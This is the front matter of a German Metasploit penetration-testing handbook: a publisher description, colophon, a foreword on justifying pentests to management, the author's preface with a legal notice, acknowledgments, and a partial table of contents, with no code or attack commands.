Hacking mit Metasploit E-Book

Michael Messner

• Herausgeber: dpunkt.verlag
• Kategorie: Wissenschaft und neue Technologien
• Sprache: Deutsch
• Veröffentlichungsjahr: 2017

Seitenzahl: 635

Beschreibung

Metasploit ist ein Penetration-Testing-Werkzeug, das in der Toolbox eines jeden Pentesters zu finden ist. Dieses Buch stellt das Framework detailliert vor und zeigt, wie Sie es im Rahmen unterschiedlichster Penetrationstests einsetzen. Am Beispiel von Metasploit erhalten Sie einen umfassenden Einblick ins Penetration Testing. Sie lernen typische Pentesting-Tätigkeiten kennen und können nach der Lektüre komplexe, mehrstufige Angriffe vorbereiten, durchführen und protokollieren. Jeder dargestellte Exploit bzw. jedes dargestellte Modul wird anhand eines praktischen Anwendungsbeispiels in einer gesicherten Laborumgebung vorgeführt. Behandelt werden u.a. folgende Themen: • Komplexe, mehrstufige Penetrationstests • Post-Exploitation-Tätigkeiten • Metasploit-Erweiterungen • Webapplikationen, Datenbanken, Client-Side-Angriffe, IPv6 • Automatisierung mit Ruby-Skripten • Entwicklung eigener Exploits inkl. SEHExploits • Exploits für Embedded Devices entwickeln • Umgehung unterschiedlichster Sicherheitsumgebungen Die dritte Auflage wurde überarbeitet und aktualisiert. Neu dabei: • Post-Exploitation-Tätigkeiten mit Railgun vereinfachen • Bad-Characters bei der Entwicklung von Exploits berücksichtigen • Den Vulnerable Service Emulator nutzen Vorausgesetzt werden fundierte Kenntnisse der Systemtechnik (Linux und Windows) sowie der Netzwerktechnik.

Leseprobe

Michael Messner arbeitet als IT Security Consultant bei der Corporate Technology der Siemens AG in München und führt dort technische Sicherheitsanalysen und Penetrationstests durch. Neben der technischen Analyse von hausinternen Enterprise-Applikationen testet er auch Produkte und Lösungen der Siemens AG auf Schwachstellen. In seiner Freizeit entwickelt er aktiv am Metasploit-Framework mit und hat dabei bereits eine Vielzahl unterschiedlichster Module in das Open-Source-Framework eingepflegt.

Zu diesem Buch – sowie zu vielen weiteren dpunkt.büchern – können Sie auch das entsprechende E-Book im PDF-Format herunterladen. Werden Sie dazu einfach Mitglied bei dpunkt.plus+:

www.dpunkt.plus

Michael Messner

Hacking mit Metasploit

Das umfassende Handbuch zu Penetration Testing und Metasploit

3., aktualisierte und erweiterte Auflage

Michael [email protected]: @s3cur1ty_de

Lektorat: René Schönfeldt

Copy-Editing: Annette Schwarz, Ditzingen

Satz und Herstellung: Nadine Thiele

Umschlaggestaltung: Helmut Kraus, www.exclam.de

Druck und Bindung: Media-Print Informationstechnologie, Paderborn

Bibliografische Information der Deutschen Nationalbibliothek

Die Deutsche Nationalbibliothek verzeichnet diese Publikation in der Deutschen Nationalbibliografie; detaillierte bibliografische Daten sind im Internet über http://dnb.d-nb.de abrufbar.

ISBN:

Print978-3-86490-523-0

PDF978-3-96088-362-3

ePub978-3-96088-363-0

mobi978-3-96088-364-7

3., aktualisierte und erweiterte Auflage 2018

Copyright © 2018 dpunkt.verlag GmbH

Wieblinger Weg 17

69123 Heidelberg

Die erste Auflage dieses Buches erschien unter dem Titel »Metasploit. Das Handbuch zum Penetration-Testing-Framework«.

Die vorliegende Publikation ist urheberrechtlich geschützt. Alle Rechte vorbehalten. Die Verwendung der Texte und Abbildungen, auch auszugsweise, ist ohne die schriftliche Zustimmung des Verlags urheberrechtswidrig und daher strafbar. Dies gilt insbesondere für die Vervielfältigung, Übersetzung oder die Verwendung in elektronischen Systemen.

Es wird darauf hingewiesen, dass die im Buch verwendeten Soft- und Hardware-Bezeichnungen sowie Markennamen und Produktbezeichnungen der jeweiligen Firmen im Allgemeinen warenzeichen-, marken- oder patentrechtlichem Schutz unterliegen.

Alle Angaben und Programme in diesem Buch wurden mit größter Sorgfalt kontrolliert. Weder Autor noch Verlag können jedoch für Schäden haftbar gemacht werden, die in Zusammenhang mit der Verwendung dieses Buches stehen.

5 4 3 2 1 0

Für meine Eltern

Für Carina

Für meine Kids

Geleitwort zur ersten Auflage

Penetration Testing hat sich in den letzten Jahren stark etabliert: War das Thema vor einigen Jahren noch in der Domäne des Militärs und der Geheimdienste, ist Penetration Testing mittlerweile fester Bestandteil von Richtlinien wie dem Payment Card Industry Data Security Standard (PCI DSS). Die Besucherzahlen von Konferenzen wie DefCon in Las Vegas sind in den letzten Jahren explodiert. Kein Wunder, denn das Thema hat nicht nur einen gewissen technischen Sex-Appeal, sondern auch einen handfesten Nutzen. Als technischer Anwender von Metasploit haben Sie eine erfolgversprechende Zukunft vor sich: 40% der Stellenausschreibungen im Sicherheitssektor bleiben dieses Jahr wegen Fachkräftemangels unbesetzt, und Penetrationstester sind chronisch überbucht.

Ein Thema, mit dem sich viele Ihrer Kollegen – und vielleicht auch Sie – oft schwertun, ist, ein neues Sicherheitsprogramm an ein nichttechnisches Management zu verkaufen. Beide Seiten »sprechen einfach nicht dieselbe Sprache«. In diesem Geleitwort möchte ich daher versuchen zu erklären, wie Sie die Vorzüge eines Penetrationstests im Unternehmen vermitteln und dadurch benötigtes Budget sicherstellen können.

Wie sage ich es am besten?

Wir haben alle vor dem Angst, was wir nicht verstehen. Daher sollten Sie erst einmal Ihr Management mit dem Konzept eines Penetrationstests vertraut machen. Probieren Sie es einfach mit diesem Beispiel: Wir sollten uns alle in regelmäßigen Abständen einer Gesundheitsuntersuchung unterziehen, auch wenn wir uns eigentlich gesund fühlen. Nur so können schwere Erkrankungen früh erkannt und behandelt werden. Eine solche Untersuchung gehört zu den Aufgaben eines verantwortungsvollen Erwachsenen, der seine Familie und sich langfristig schützen möchte.

Dieses Beispiel lässt sich eins zu eins auf Penetrationstests anwenden, denn auch diese sollten in regelmäßigen Abständen an wichtigen Systemen durchgeführt werden. Nur so können wir erkennen, wo unsere Systeme verletzbar sind. Wir müssen diese Schwachstellen finden, bevor Kriminelle, Spione und Cyber-Vandalen unserem Unternehmen Schaden zufügen können. Penetrationstests gehören zu den Instrumenten einer verantwortungsvollen Unternehmensführung, die Risiken identifizieren und mindern möchte. Wie bei einer Gesundheitsuntersuchung vertrauen wir hierfür auf die Meinung ausgebildeter Experten: Ärzten und Penetration-Testern.

Aber wir haben doch eine Firewall!

»Wir haben schon so viel Geld für Sicherheitssysteme ausgegeben, und Sie sagen mir, wir wissen immer noch nicht, ob unsere Systeme sicher sind?«, mag Ihr Manager sagen. Außerdem, sollten Sie Ihre Systeme nicht gut genug kennen, um ihre Schwachstellen zu wissen? Nicht wirklich. Wenn Sie ehrlich sind, können Sie wahrscheinlich nicht einmal beschwören, dass Sie in Ihrem Unternehmen noch keine Datenpanne hatten, denn diese sind nicht immer offensichtlich.

Unsere IT-Systeme sind komplex: organisch gewachsen und mit der Außenwelt an vielen Punkten verknüpft. Es ist in vielen Netzen für einzelne Personen kaum noch möglich, einen Überblick zu behalten. Außerdem könnten Sie die intelligentesten Netzwerk-Spezialisten einstellen, und sie würden trotzdem Fehler machen. Wir brauchen also eine Art Nagelprobe, einen Realitäts-Check, eine Qualitätssicherung für unsere Netzwerksicherheit.

Der Penetrationstest stellt eine solche Qualitätssicherung dar. Sie prüft, ob all unsere Firewalls, Berechtigungssysteme, Intrusion-Detection-Systeme und Data Loss Prevention auch das tun, was wir von ihnen erwarten.

Das Geschäft mit der Angst

Vom Fahrradschloss bis zum Düsenjäger wird Sicherheit primär mit dem Angstfaktor verkauft. Bei Penetrationstests ist dies denkbar einfach: Nehmen Sie die Kosten einer Datenpanne und multiplizieren Sie diese mit der Wahrscheinlichkeit des Eintreffens in einem beliebigen Jahr. So erhalten Sie die potenziellen jährlichen Kosten mangelnder Sicherheit.

Daten hierzu gibt es zur Genüge: Das Ponemon Institute, Verizon Business, Forrester Research, und das FBI veröffentlichen hierzu regelmäßig Daten. Berechnet werden die Wahrscheinlichkeit einer Datenpanne, Kosten von Systemausfällen, der Wert gestohlener/gelöschter/manipulierter Daten, Rechtskosten und verlorener Umsatz durch Kunden, die das Unternehmen verlassen oder wegen des Vorfalls gar nicht erst zum Kunden werden. Aktuell schätzt das Ponemon Institute die Kosten pro verlorenem Kundendatensatz auf 130 Euro (145 US-Dollar). Die durchschnittlichen Kosten pro Datenpanne belaufen sich auf 3,1 Millionen Euro (3,5 Millionen US-Dollar).

Diese Zahlen sind auch sicherlich hilfreich, helfen IT-Sicherheitsfachleuten in Unternehmen aber oft nicht weiter, da die Summen so hoch sind, dass keiner sie für realistisch hält. Außerdem stammen viele der Zahlen aus den USA, wo eine Gesetzgebung, der sogenannte »Data Breach Notification Acts«, die Kosten einer Datenpanne in die Höhe getrieben hat. In Deutschland sind diese Zahlen daher, zumindest bisher, nicht direkt anwendbar. Außerdem müssen diese Zahlen den Kosten aller Sicherheitssysteme gegenübergestellt werden, nicht nur einem einzelnen Penetrationstest.

Sicherheit als Erfolgsfaktor

Penetrationstests über Angst zu verkaufen ist also möglich, aber es gibt auch andere Wege, die bei Ihrem Management eventuell besser ankommen, denn das Geschäft mit der Angst kann im Zweifel als »Erpressungsversuch« interpretiert werden. Und darauf lässt sich keine langfristige Geschäftsbeziehung aufbauen.

Penetration Testing in Kombination mit Vulnerability-Management

Eine Möglichkeit ist zum Beispiel, Penetrationstests als Kostensenker einzusetzen. Viele Unternehmen setzen bereits ein etabliertes Programm für Vulnerability-Management ein, können aber aufgrund der schieren Menge nicht alle Schwachstellen beheben. Eine Penetration-Testing-Software wie Metasploit kann in diesem Fall prüfen, welche Schwachstellen ausnutzbar sind und daher als Erstes behoben werden müssen. Durch eine solche Verfeinerung des Sicherheitsprogramms werden nicht nur die wichtigsten Schwachstellen zuerst behoben, sondern auch die Gesamtkosten für das Beseitigen von Schwachstellen gesenkt, da nicht direkt ausnutzbare Schwachstellen im ersten Schritt ignoriert werden können.

Compliance

Compliance ist oft die Brücke, über die IT-Sicherheitsfachleute mit dem Management kommunizieren können. Manager wissen, dass sie für ihren Geschäftszweig Compliance mit bestimmten Richtlinien benötigen, um Strafen zu vermeiden. Auf der anderen Seite wissen IT-Sicherheitsfachleute, dass sie über diesen Weg neues Budget beantragen können. Compliance bedeutet nicht gleich Sicherheit, aber das Compliance-Budget kann, wenn es sinnvoll eingesetzt wird, zu einer höheren Sicherheit beitragen.

Business Continuity

Viele Argumente für Penetrationstests beziehen sich darauf, was es kostet, wenn Daten gestohlen werden. Kaum eine Argumentation beleuchtet, was es bedeutet, wenn Systeme stillstehen, obwohl dies ebenfalls erhebliche Kosten verursachen kann. Stellen Sie einfach die Frage: »Was passiert, wenn unser ERP-System eine Woche lang stillsteht?« Dieses Szenario ist für Manager wahrscheinlich deutlich greifbarer, als sich vorzustellen, was passiert, wenn die Kundendaten auf Hackerseiten verkauft werden. Auch die Kosten dürften etwas einfacher zu berechnen sein.

Unternehmensimage

Der Ruf des Unternehmens kann bei einer Datenpanne erheblichen Schaden erleiden, ist aber auch am wenigsten greifbar. Wir werden hier den Ruf des Unternehmens gleichsetzen mit seiner Marke (dem »Brand«). Besonders für Techniker ist das Konzept einer Marke nicht immer offensichtlich, daher nehmen wir einen kurzen Ausflug ins Marketingland.

Bevor wir den Schaden an einer Marke berechnen können, müssen wir uns erst einmal überlegen, wie man den Wert einer Marke berechnet: Stellen Sie sich vor, heute brennen alle Gebäude von Coca-Cola ab. Alle Fabriken, alle Abfüllanlagen, alle Verwaltungsgebäude – alles weg. Ihnen bietet jemand die Rechte an, die Marke Coca-Cola in Zukunft zu verwenden, um Getränke zu verkaufen. Was wäre Ihnen dieses Recht wert? Obwohl das gesamte Unternehmen nicht mehr existiert, hat die Marke noch einen gewissen Wert. Er ist auf jeden Fall nicht null.

Eine Marke ist ein Wiedererkennungsmerkmal für Konsumenten, um mein Produkt gegen das meines Konkurrenten abzugrenzen. Wenn ich das erste Mal in den Supermarkt gehe, um Zuckerwasser zu kaufen, habe ich ohne Marken keine Ahnung, welches ich kaufen soll. Welches schmeckt mir? Habe ich einmal »meine Marke« gefunden, kann ich sie einfach identifizieren und baue ein Vertrauensverhältnis mit ihr auf. Ich weiß, meine Marke steht für gleichbleibende Qualität und wird mich nicht enttäuschen. Sie erleichtert mir die Entscheidung beim nächsten Einkauf.

Außer über einen direkten Kontakt mit dem Produkt versuchen Unternehmen auch durch Werbung mein Vertrauensverhältnis mit der Marke aufzubauen, damit ich ihre Marke als erste ausprobiere oder von einer anderen Marke wechsle.

Viele Unternehmen investieren viel Geld für Werbung – mit steigender Tendenz, denn die Produkte in vielen Segmenten werden immer generischer. Was unterscheidet Ihr Girokonto bei der Sparkasse von dem bei der Deutschen Bank? Wahrscheinlich wenig. Falls Sie nicht Ihren besten Kumpel als Bankberater haben, war Ihre Wahrnehmung vom Unternehmen und Ihre Vertrauensbeziehung zur Marke der größte Entscheidungsträger.

Selbst bei Elektronikgeräten wird der emotionale Teil der Kaufentscheidung immer größer, da Konsumenten immer weniger zwischen den komplexen Modellen verschiedener Hersteller unterscheiden können. Wo eine rationale Entscheidung nicht mehr möglich ist, tritt eine emotionale Enscheidung an dessen Stelle, teilweise unbewusst. Dies mag für Sie als sehr technischen Penetrationstester nicht zutreffen, für das Gros der Konsumenten aber schon.

Überlegen wir uns jetzt, was passiert, wenn dieses Vertrauensverhältnis zu »meiner Marke« durch eine Datenpanne verletzt wird. Als Konsument fühlen wir uns in unserer Privatsphäre verletzt, wenn unser Online-Buchhändler die Kaufhistorie der letzten drei Jahre offenlegt. Vielleicht müssen wir sogar unsere Kreditkarte sperren lassen und haben eine Menge Scherereien. Wenn das Produkt der Konkurrenz identisch mit meinem eigenen ist, fällt die emotionale Entscheidung leicht, das Produkt zu wechseln. Dies hat direkten Einfluss auf den Umsatz des Unternehmens.

Je austauschbarer das Produkt, desto höher der Schaden. Denken wir beispielsweise an wohltätige Organisationen, würde ich wohl kaum ein zweites Mal an Brot für die Welt spenden, wenn diese meine Kreditkartendaten verschlampt haben. Dann ginge ich doch lieber zum Roten Kreuz!

Wie berechne ich einen Business Case?

Da Sie gerade ein Buch über Metasploit lesen und kein Wirtschaftsstudium absolvieren wollen, werden wir an dieser Stelle einen einfachen, pragmatischen Weg wählen. Wenn Sie tiefer in die Thematik einsteigen wollen, empfehle ich das White Paper von Marcia Wilson bei Symantec mit dem Titel »Demonstrating ROI for Penetration Testing« [1], in dem Themen wie Payback Period, Net Present Value, und Internal Rate of Return angeschnitten werden.

Für einen Business Case stellen Sie grundsätzlich zwei Dinge gegenüber: Was ist, und was könnte sein. Das »was könnte sein« ist Ihr Vorschlag. Wenn dieser Vorschlag weniger Geld kostet (oder mehr Umsatz bringt) als das, »was ist«, haben Sie einen guten Business Case. In der IT-Sicherheit lässt sich ein solcher Business Case nicht immer gut berechnen – in manchen Fällen aber schon. Wir müssen hier je nach Szenario unterscheiden.

Neue Einführung von Penetrationstests

Wenn Sie bisher keine Penetrationstests durchgeführt haben, haben Sie aktuell keine merklichen Kosten. Um einen Business Case aufzubauen, müssen Sie die Kosten einer Datenpanne oder eines Systemausfalls berechnen und diesen mit der Wahrscheinlichkeit des Eintretens multiplizieren. Hier bleibt leider nur die Angst vor einer Datenpanne als Argumentation.

Im Kontrast zu diesen potenziellen Kosten dürften Ihre geplanten Kosten für Penetrationstests recht gut aussehen. Die Frage ist, ob Ihre Berechnungen als realistisch angesehen werden.

Alternativ können Sie einfach etwas Business Jiu Jitsu anwenden, indem Sie den Penetrationstest nicht im luftleeren Raum, sondern als Teil eines Projekts unterbringen. Suchen Sie sich ein Projekt aus, das aktuell auf der Liste der Management-Ziele Ihres CIO steht. Wenn Sie die Ziele Ihres CIO nicht kennen, fragen Sie ihn einfach – und bieten Sie Ihre Hilfe an! Nehmen wir an, Ihr CIO soll in diesem Quartal 20% der externen Zulieferer per Web Services an das ERP-System anbinden. Sie können nun Ihre Hilfe für dieses Projekt anbieten und damit einen Penetrationstest in die Abnahme der Systeme einbauen. Statt nur die Web Services selbst im Penetrationstest zu prüfen, sollte selbstverständlich das gesamte ERP-System getestet werden. So werden Sie mit Ihrem Sicherheitsfachwissen zum Berater und helfen, die Technologie im Unternehmen sicher voranzutreiben.

Penetrationstests für Vulnerability-Management

Wollen Sie Penetrationstests einführen, um die Remediation-Kosten für Ihr Vulnerability-Management-Programm zu senken, sieht die Berechnung etwas anders aus:

Nehmen wir an, Sie haben drei Netzwerkadministratoren, die im Schnitt 65.000 Euro kosten. Wenn jeder dieser Mitarbeiter 20% seiner Zeit damit verbringt, Updates zu installieren und Schwachstellen zu beheben, kostet dies das Unternehmen jährlich 39.000 Euro. Wenn Penetrationstests diese Arbeit auf je 10% minimieren können, weil die Mitarbeiter nur Schwachstellen beheben, die ausnutzbar sind, spart das Unternehmen dadurch 19.500 Euro. Sie sollten außerdem in die Überlegung einbeziehen, dass die Mitarbeiter nun an Schwachstellen arbeiten, die wirklich ausnutzbar sind, und dadurch das Unternehmensnetz besser geschützt ist.

Penetrationstests intern durchführen

Wenn Sie bisher Penetrationstests durch ein externes Beratungsunternehmen haben durchführen lassen, möchten Sie diese Tests vielleicht jetzt intern durchführen und damit Geld sparen. In diesem Fall ist die Berechnung einfach, da Sie die aktuellen externen Kosten einfach den neuen internen Kosten gegenüberstellen können.

Gerade wenn Sie regelmäßig interne Penetrationstests durchführen, lohnt sich auch ein Blick auf Metasploit Pro, die kommerzielle Version von Metasploit, mit der Sie die Penetrationstests effizienter durchführen können, weniger Training benötigen und eine größere Anzahl Maschinen mit weniger Aufwand testen können.

Ziele eines Penetrationstests

Wichtig bei der Präsentation eines Business Case ist es auch, die Ziele deutlich zu kommunizieren, zum Beispiel:

Demonstration der Verwundbarkeit der Systeme, um die Aufmerksamkeit und Unterstützung des Managements für neue Sicherheitsprogramme zu erlangen

Senkung der Kosten eines Vulnerability-Management-Programms

Bestandsaufnahme für neue CIOs oder CISOs

Hilfe für Entscheidung, worauf das Sicherheitsbudget verwendet werden soll

Testen der Response-Mechanismen von IDS-, IPS- und DLP-Systemen (Metasploit-vSploit-Module)

Penetrationstest aus Compliance-Gründen

Fazit

Wie eine regelmäßige Gesundheitsuntersuchung gehört ein Penetrationstest zum verantwortungsvollen Verhalten eines Unternehmens. Mit der Auswahl von Metasploit als Werkzeug für dieses Unterfangen haben Sie eine hervorragende Wahl getroffen. Metasploit ist mit mehr als einer Million Downloads pro Jahr das am weitesten verbreitete Penetration-Testing-Werkzeug der Branche. Somit sind Tests mit Metasploit nahe an der Realität eines echten Angriffs.

Pentester sind aktuell sehr gefragt und werden gut bezahlt. Mit dem Spezialwissen über Metasploit, das Sie sich mit diesem Buch aneignen, werden Sie Ihren persönlichen Wert am Arbeitsmarkt nachhaltig steigern. Wichtig ist aber in jedem Fall ein solides Fachwissen, damit Sie mit dem Penetrationstest keine Systemabstürze oder Netzwerküberlastungen erzeugen.

Sollten Sie Penetrationstests zu Ihrer Haupttätigkeit machen, können Sie Ihr erworbenes Wissen auch in den kommerziellen Versionen von Metasploit weiter nutzen, die Ihnen durch Automatisierungen und Teamkollaboration ein effizienteres Arbeiten ermöglichen und dröge Aufgaben wie Beweismittelsicherung und Berichteschreiben weitgehend abnehmen.

In jedem Fall sollten Sie in Ihrem Unternehmen daran mitarbeiten, Penetration Tests in den Sicherheits-Lebenszyklus zu integrieren, so dass kein neues System ohne Penetrationstest in Produktion geht. Wenn Ihre Kollegen fragen, wann sie einen Penetrationstest durchführen sollten, antworten Sie einfach: »Wann sollten Sie im Auto einen Sicherheitsgurt anlegen?« Immer.

Christian Kirsch1

Vorwort

Das Metasploit-Framework ist dort, wo es um Penetrationstests, Sicherheitsanalysen und Forschung im IT-Security- und speziell im Schwachstellenbereich geht, nahezu immer anzutreffen. Wenn von Metasploit gesprochen wird, geht es aber nicht um ein einziges Tool, sondern um eine sehr umfangreiche und komplexe Toolbox, die in Fachkreisen als Framework bezeichnet wird. Dieses Framework besteht aus unterschiedlichsten Teilbereichen, Teilprojekten und Modulen und ist fester Bestandteil der Werkzeugkiste nahezu jedes Pentesters. Der große Umfang ermöglicht einen Einsatz, der weit über typische Exploiting-Vorgänge hinausgeht und eine Anwendung in nahezu allen Phasen eines Penetrationstests bzw. einer technischen Sicherheitsanalyse erlaubt.

Das Framework unterstützt aber nicht nur den Pentester bei seiner täglichen Arbeit, sondern auch den Sicherheitsforscher bei der Erkennung und Analyse potenzieller Schwachstellen und den Administrator bei der besseren Einschätzung vorhandener Schwachstellen.

Die Entwickler von Metasploit gehörten zu den ersten Sicherheitsexperten, die durch ihre Forschungsarbeiten unterschiedliche Exploit-Technologien einem breiten Publikum zugänglich machten. Bereits mit der ersten Veröffentlichung dieses Frameworks im Jahr 2003 sorgten dessen freie Natur und der damit verbundene freie Zugang zu Informationen zur Erkennung und Ausnützung von Schwachstellen für erheblichen Diskussionsstoff. Speziell die Hersteller der betroffenen Produkte sind an keinem freien Zugang zu solchen Informationen interessiert und versuchen, diesen entsprechend zu verhindern.

Metasploit-Webseite aus dem Jahr 2003 [2]

Diese Diskussionen sind in all den Jahren nicht verstummt und werden bis heute regelmäßig erneut entfacht. Hier seien nur kurz die wichtigsten Methoden der Schwachstellenveröffentlichung Full Disclosure [3], Coordinated und Responsible Disclosure [4] [5] angeführt. Für weitere Informationen zu den einzelnen Methoden der Veröffentlichung wird auf die im Anhang angegebenen Online-Ressourcen verwiesen.

Das Jahr 2009/2010 war für das Metasploit-Framework wie auch für die Community wohl eines der spannendsten in der mittlerweile achtjährigen Entwicklungsgeschichte. Durch den neuen Mitspieler Rapid7, einen Hersteller von Vulnerability-Scanning-Lösungen, machte das Metasploit-Framework einen enormen Sprung nach vorne. Mittlerweile lassen sich jeden Tag Änderungen in der Entwicklerversion beobachten. Diese enorm schnelle Entwicklung führte in der jüngeren Vergangenheit zur Veröffentlichung von sechs neuen Versionen innerhalb eines Jahres. Zusätzlich kam es durch den Einfluss von Rapid7 zur Etablierung von zwei neuen, kommerziellen Versionen des Frameworks: Metasploit Express und Metasploit Pro. Durch diese Entwicklungsgeschwindigkeit ist es kaum mehr möglich, alle aktuellen Neuerungen zu kennen und möglichst zeitnah zu testen. Die oftmals nur sehr spärlich über verschiedenste Blogs verteilte Dokumentation macht es neuen Benutzern zudem nicht unbedingt einfacher, sich mit dem Thema Pentesting mit Metasploit im Detail zu befassen.

Dieses Buch soll das Metasploit-Framework möglichst umfassend dokumentieren und Interessierten einen Einstieg in diese spannende Thematik ermöglichen. Gleichzeitig will es diejenigen, die sich bereits längere Zeit mit dem Framework befassen, das eine oder andere weitere und spannende Detail oder die eine oder andere neue Idee vermitteln.

Dieses Buch soll sozusagen die Basis abdecken, mit der ein Pentester arbeiten kann und auf der er aufbauen kann. Neue Versionen zu testen, die aktuellen Entwicklungen beobachten und evtl. auch Codeteile des Frameworks zu lesen, wird durch dieses Buch aber sicherlich nicht weniger aufwendig.

Wie ist dieses Buch aufgebaut?

Nach einer ersten Erklärung, was das Metasploit-Framework ist, stellt das Buch zunächst das Thema Informationsgewinnung vor und beschreibt einen ersten Exploiting-Vorgang. Anschließend werden Automatisierungsmöglichkeiten des Frameworks betrachtet, gefolgt von weiteren sehr speziellen Themengebieten, die im Rahmen eines Penetrationstests und im IT-Security-Prozess von Belang sind.

Im ersten Abschnitt wird das Thema Pentesting und Exploitation möglichst allgemein betrachtet, wodurch dem Leser ein Einstieg in diese Thematik ermöglicht wird. Es werden beispielsweise alternative Exploiting-Frameworks und Tools dargestellt, die den Pentester im Rahmen seiner Dokumentationserstellung unterstützen können.

In folgenden Abschnitten werden unterschiedlichste Module für Informationsgewinnungs- und Scanning-Vorgänge behandelt. Zudem wird betrachtet, wie unterschiedlichste Exploits und Payloads eingesetzt werden. Neben Automatisierungsmechanismen werden zudem Penetrationstests von Webapplikationen und Datenbanken betrachtet, gefolgt von einer detaillierten Vorstellung unterschiedlichster Methoden der Post-Exploitation-Phase. Die abschließenden Abschnitte des Buches behandeln dann die kommerziellen Versionen des Frameworks und den IT-Security-Research-Bereich. In dem Abschnitt zur Schwachstellenerkennung und Exploit-Entwicklung wird eine Schwachstelle in einer von KMDave speziell entwickelten Testapplikation gesucht und analysiert. Anhand dieser Analyse, mit einem sogenannten Fuzzer, wird dargestellt, wie eine Entdeckung dieser Schwachstelle möglich ist, um im Anschluss einen voll funktionsfähigen Exploit zu erstellen.

Wer sollte dieses Buch lesen?

Dieses Buch richtet sich an Pentester sowie an IT-Sicherheitsverantwortliche und Systemadministratoren mit vorwiegend technischen, aber auch organisatorischen Berührungspunkten zur IT-Security. Darüber hinaus ist es für den Einsatz in IT-Security-Studiengängen bzw. in Studiengängen mit IT-Security-Schwerpunkt geeignet und für jeden, der Interesse an Pentesting- und Exploiting-Frameworks mitbringt und sein Wissen in diesen Bereichen vertiefen möchte.

Im Rahmen dieses Buches werden keine typischen IT- und Security-Grundlagen, wie beispielsweise TCP/IP und Portscans, behandelt. Es wird vorausgesetzt, dass Sie als Leser die Grundlagen der Netzwerk- und Systemtechnik sowie der IT-Security bereits mitbringen oder sich dieses Wissen bei Bedarf anderweitig aneignen. Relevante Grundlagen des Pentesting-Vorgangs werden in den ersten Abschnitten kurz dargestellt, umfassen allerdings keine vollständige Abhandlung von Penetrationstests.

Der Leser dieses Buches wird durch die Lektüre zu keinem Pentester. Dieses Buch kann den geneigten Leser aber auf dem Weg dorthin begleiten.

Dieses Buch wird unterschiedlichste Beispiele aus dem praktischen Leben eines Pentesters darstellen und sie in einem Testlabor umsetzen. Um diese Beispiele im eigenen Labor nachzustellen, sollten Sie die Möglichkeit haben, verschiedene Windows- und Linux-Systeme in einer physikalischen oder virtualisierten Umgebung einzurichten. Sie sollten dabei imstande sein, diese Systeme mit unterschiedlichsten Diensten, Konfigurationen und/oder weiterer Software auszustatten.

Allein das Lesen dieses Buches macht aus Ihnen keinen Pentester. Sie müssen sich schon »die Hände schmutzig machen« und Systeme in einer Testumgebung wirklich angreifen.

Strafrechtliche Relevanz

Die in diesem Buch dargestellten Tools und Techniken lassen sich neben den hier behandelten legalen Einsatzszenarien unter Umständen auch für nicht legale Aktivitäten nutzen.

An dieser Stelle muss ausdrücklich festgehalten werden, dass die in diesem Buch beschriebenen Vorgänge ausschließlich in einer gesicherten Testumgebung oder mit der Einwilligung des Systembesitzers zur Anwendung gebracht werden dürfen. Werden Angriffe dieser Art auf Systemen durchgeführt, für die keine ausdrückliche Erlaubnis erteilt wurde, stellt dies im Normalfall eine strafrechtlich relevante Handlung dar. Der Autor oder der Verlag können dafür in keinster Weise belangt werden.

Danksagungen

Irgendwann im Laufe eines persönlich wie beruflich sehr spannenden Jahres 2010 sprach mich jemand im IRC darauf an, ob ich nicht ein Buch zu Metasploit im Pentesting-Umfeld schreiben wolle. Eineinhalb Jahre später gibt es dieses Buch nun. Ich habe leider keine Ahnung mehr, wer mir diese Idee in meinen Kopf eingepflanzt hat. Falls sich einer der Leser angesprochen fühlt, möchte ich mich bei ihm bedanken und hoffe, dieses Buch entspricht seinen Vorstellungen und bereitet dem Ideengeber wie auch allen anderen Lesern möglichst viel Freude!

Folgenden Personen möchte ich speziell danken:

Meiner ganzen Familie,

Carina und den Mädels für eine traumhafte Zeit, ihr seid die Besten,

ChriGu – ihr zwei seid einfach spitze! Vielen Dank für die Unterstützung …

Viktoria Plattner für eine wunderschöne Reise, durch die dieses Buch wohl erst ermöglicht wurde, zudem möchte ich dir für die

Abbildung 1–1

und

Abbildung 8–1

danken,

Dave für die Zusammenarbeit am Kapitel zur Exploit-Entwicklung,

Holger und dem PS-ISM-Team für die Unterstützung seitens der Integralis,

René und dem dpunkt.verlag für das Vertrauen, die Unterstützung und alle Einflüsse,

Christian Kirsch für die Unterstützung und das tolle Geleitwort,

HDM und dem gesamten Metasploit-Team für ein geniales Framework,

allen Freunden, Gutachtern und Helfern, die dieses Buch erst möglich gemacht haben und mich im letzten Jahr etwas weniger zu Gesicht bekamen ;),

allen Lesern der ersten und zweiten Auflage. Zudem noch ganz speziell Thomas Wallutis, Klaus Gebeshuber, Jörn A., Pascal Winkler und Christian Kunze für das Feedback.

Michael Messner, im September 2017

Inhaltsverzeichnis

1Eine Einführung in das Pentesting und in Exploiting-Frameworks

1.1Was ist Pentesting?

1.2Die Phasen eines Penetrationstests

1.2.1Phase 1 – Vorbereitung

1.2.2Phase 2 – Informationsbeschaffung und -auswertung

1.2.3Phase 3 – Bewertung der Informationen/Risikoanalyse

1.2.4Phase 4 – Aktive Eindringversuche

1.2.5Phase 5 – Abschlussanalyse

1.2.6Eine etwas andere Darstellung

1.3Die Arten des Penetrationstests

1.4Exploiting-Frameworks

1.4.1Umfang von Exploiting-Frameworks

1.4.2Vorhandene Frameworks

1.5Dokumentation während eines Penetrationstests

1.5.1BasKet

1.5.2Zim Desktop Wiki

1.5.3Dradis

1.5.4Microsoft OneNote

1.6Überlegungen zum eigenen Testlabor

1.6.1Metasploitable v2

1.6.2MSFU-Systeme

1.6.3Testsysteme für Webapplikationsanalysen

1.6.4Foundstone-Hacme-Systeme

1.7Zusammenfassung

2Einführung in das Metasploit-Framework

2.1Geschichte von Metasploit

2.2Architektur des Frameworks

2.2.1Rex – Ruby Extension Library

2.2.2Framework Core

2.2.3Framework Base

2.2.4Modules

2.2.5Framework-Plugins

2.3Installation und Update

2.4Ein erster Eindruck – das Dateisystem

2.5Benutzeroberflächen

2.5.1Einführung in die Metasploit-Konsole (msfconsole)

2.5.2Armitage

2.5.3Metasploit Community Edition

2.6Globaler und modularer Datastore

2.7Einsatz von Datenbanken

2.8Workspaces

2.9Logging und Debugging

2.10Zusammenfassung

3Die Pre-Exploitation-Phase

3.1Die Pre-Exploitation-Phase

3.2Verschiedene Auxiliary-Module und deren Anwendung

3.2.1Shodan-Suchmaschine

3.2.2Internet Archive

3.2.3Analyse von der DNS-Umgebung

3.2.4Discovery-Scanner

3.2.5Portscanner

3.2.6SNMP-Community-Scanner

3.2.7VNC-Angriffe

3.2.8Windows-Scanner

